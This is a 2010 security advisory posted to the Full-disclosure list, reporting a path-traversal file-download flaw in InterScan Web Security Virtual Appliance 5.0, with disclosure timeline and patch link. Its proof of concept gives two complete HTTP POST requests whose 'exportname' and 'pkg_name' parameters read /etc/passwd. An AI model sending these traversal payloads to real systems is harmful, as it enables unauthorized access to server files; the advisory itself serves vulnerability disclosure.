[Full-disclosure] CYBSEC Advisory#2010-0606 InterScan Web Security 5.0 Arbitrary File Download

["Cybsec - Security Systems" <capacitacion@xxxxxxxxxx>]

Advisory Name: Arbitrary File Download in InterScan Web Security Virtual 
Appliance 5.0

 

Internal Cybsec Advisory Id: 2010-0606

 

Vulnerability Class: Arbitrary File Download

 

Release Date: To be confirmed

 

Affected Applications: Confirmed in InterScan Web Security Virtual Appliance 
5.0. Other versions may also be affected. 

 

Affected Platforms: Red Hat nash 5.1

 

Local / Remote: Remote

 

Severity: High - CVSS: 6.8 (AV:N/AC:L/Au:S/C:C/I:N/A:N)

 

Researcher: Ivan Huertas

 

Special thanks to: Nahuel Grisolia

 

Vendor Status: Patched

 

Reference to Vulnerability Disclosure Policy: 
http://www.cybsec.com/vulnerability_policy.pdf

 

Vulnerability Description:

 

The vulnerability is caused due to an improper check in 
"com.trend.iwss.gui.servlet.exportreport" servlet, allowing the download of 
arbitrary files. Using a path traversal technique, an attacker can change the 
original path to the file, modifying the parameter "exportname".

 

Servlet "com.trend.iwss.gui.servlet.ConfigBackup" is also affected by this 
vulnerability in the parameter "pkg_name"

 

Proof of Concept: 

 

1) Using path traversal technique, an attacker can select the file to download 
when trying to export a report.

 

POST /servlet/com.trend.iwss.gui.servlet.exportreport HTTP/1.1

Host: xxx.xxx.xx.xx:1812

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 
Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://xxx.xxx.xx.xx:1812/summary_threat.jsp

Cookie: JSESSIONID=D122F55EA4D2A5FA1E7AE4582085F370

Content-Type: application/x-www-form-urlencoded

Content-Length: 99

 

op=refresh&summaryinterval=7&exportname=../../../../../../../../../../etc/passwd&exportfilesize=443

 

 

2) The virtual appliance has a functionality able to backup the current config. 
One of the POST needed to download the config sets the file to download client 
side:

 

POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1

Host: xx.xx.xx.xx:1812

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 
Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://xx.xx.xx.xx:1812/config_backup_result.jsp?op=export

Cookie: JSESSIONID=D122F55EA4D2A5FA1E7AE4582085F370

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

 

op=2&ImEx_success=1&pkg_name=/etc/passwd%0D%0A

 

Impact:

 

Access to sensitive information about the server.

 

Solution: 

 

Apply the patch that can be found in 


http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1

 

Vendor Response: 

 

2009-03-26 - Vulnerability was identified

2010-04-09 - Vendor contacted

2010-04-15 - Vendor response

2010-06-21 - Vendor released fixed version

2010-06-22 - Vulnerability published



Contact Information:

 

For more information regarding the vulnerability feel free to contact the 
researcher at 

ihuertas <at> cybsec <dot> com

 

About CYBSEC S.A. Security Systems:

 

Since 1996, CYBSEC is engaged exclusively in rendering professional services 
specialized in  Information Security. Their area of services covers Latin 
America, Spain and over 250 customers are a 

proof of their professional life.



To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is 
associated with other  software and/or hardware provider companies.

 

Our services are strictly focused on Information Security, protecting our 
clients from emerging security threats, maintaining their IT deployments 
available, safe, and reliable.

 

Beyond professional services, CYBSEC is continuously researching new defense 
and attack techniques 

and contributing with the security community with high quality information 
exchange.

 

For more information, please visit www.cybsec.com

 

(c) 2010 - CYBSEC S.A. Security Systems

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